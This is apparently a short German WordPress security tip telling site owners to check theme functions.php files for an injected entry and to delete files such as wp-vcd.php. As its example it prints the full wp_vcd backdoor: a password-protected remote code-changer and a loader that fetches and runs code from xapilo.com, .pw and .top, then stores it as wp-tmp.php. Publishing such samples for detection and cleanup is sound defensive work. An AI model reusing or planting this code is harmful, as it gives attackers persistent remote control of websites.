Kontrollieren Sie ab und zu in Ihrem WordPress Theme alle functions.php
Sollte sich ein verdächtiger Eintrag (Beispiel siehe unten) finden, entfernen Sie diesen und kontrollieren Sie dann im wp-includes Ordner ob sich folgende Dateien darin befinden wp-feed.php, wp-vcd.php, wp-temp.php. Löschen Sie dann diese Dateien… Vor jeder Änderung, legen Sie bitte ein Backup des WordPress Verzeichnisses und der Datanbank an!
<?php
if (isset($_REQUEST[‚action‘]) && isset($_REQUEST[‚password‘]) && ($_REQUEST[‚password‘] == ‚3fa150c5990ffad266‘))
{
$div_code_name=“wp_vcd“;
switch ($_REQUEST[‚action‘])
{
case ‚change_domain‘;
if (isset($_REQUEST[’newdomain‘]))
{
if (!empty($_REQUEST[’newdomain‘]))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all(‚/\$tmpcontent = @file_get_contents\(„http:\/\/(.*)\/code\.php/i‘,$file,$matcholddomain))
{
$file = preg_replace(‚/‘.$matcholddomain[1][0].’/i‘,$_REQUEST[’newdomain‘], $file);
@file_put_contents(__FILE__, $file);
print „true“;
}
}
}
}
break;
case ‚change_code‘;
if (isset($_REQUEST[’newcode‘]))
{
if (!empty($_REQUEST[’newcode‘]))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all(‚/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i‘,$file,$matcholdcode))
{
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST[’newcode‘]), $file);
@file_put_contents(__FILE__, $file);
print „true“;
}
}
}
}
break;
default: print „ERROR_WP_ACTION WP_V_CD WP_CD“;
}
die(„“);
}
$div_code_name = „wp_vcd“;
$funcfile = __FILE__;
if(!function_exists(‚theme_temp_setup‘)) {
$path = $_SERVER[‚HTTP_HOST‘] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER[‚REQUEST_URI‘], ‚wp-cron.php‘) == false && stripos($_SERVER[‚REQUEST_URI‘], ‚xmlrpc.php‘) == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), „theme_temp_setup“);
$handle = fopen($tmpfname, „w+“);
if( fwrite($handle, „<?php\n“ . $phpCode))
{
}
else
{
$tmpfname = tempnam(‚./‘, „theme_temp_setup“);
$handle = fopen($tmpfname, „w+“);
fwrite($handle, „<?php\n“ . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key=’11222848a10f1d0ea555bcdf773f3eb4′;
if (($tmpcontent = @file_get_contents(„http://www.xapilo.com/code.php“) OR $tmpcontent = @file_get_contents_tcurl(„http://www.xapilo.com/code.php“)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . ‚wp-includes/wp-tmp.php‘, $tmpcontent);
if (!file_exists(ABSPATH . ‚wp-includes/wp-tmp.php‘)) {
@file_put_contents(get_template_directory() . ‚/wp-tmp.php‘, $tmpcontent);
if (!file_exists(get_template_directory() . ‚/wp-tmp.php‘)) {
@file_put_contents(‚wp-tmp.php‘, $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents(„http://www.xapilo.pw/code.php“) AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . ‚wp-includes/wp-tmp.php‘, $tmpcontent);
if (!file_exists(ABSPATH . ‚wp-includes/wp-tmp.php‘)) {
@file_put_contents(get_template_directory() . ‚/wp-tmp.php‘, $tmpcontent);
if (!file_exists(get_template_directory() . ‚/wp-tmp.php‘)) {
@file_put_contents(‚wp-tmp.php‘, $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents(„http://www.xapilo.top/code.php“) AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . ‚wp-includes/wp-tmp.php‘, $tmpcontent);
if (!file_exists(ABSPATH . ‚wp-includes/wp-tmp.php‘)) {
@file_put_contents(get_template_directory() . ‚/wp-tmp.php‘, $tmpcontent);
if (!file_exists(get_template_directory() . ‚/wp-tmp.php‘)) {
@file_put_contents(‚wp-tmp.php‘, $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents(ABSPATH . ‚wp-includes/wp-tmp.php‘) AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . ‚/wp-tmp.php‘) AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(‚wp-tmp.php‘) AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?>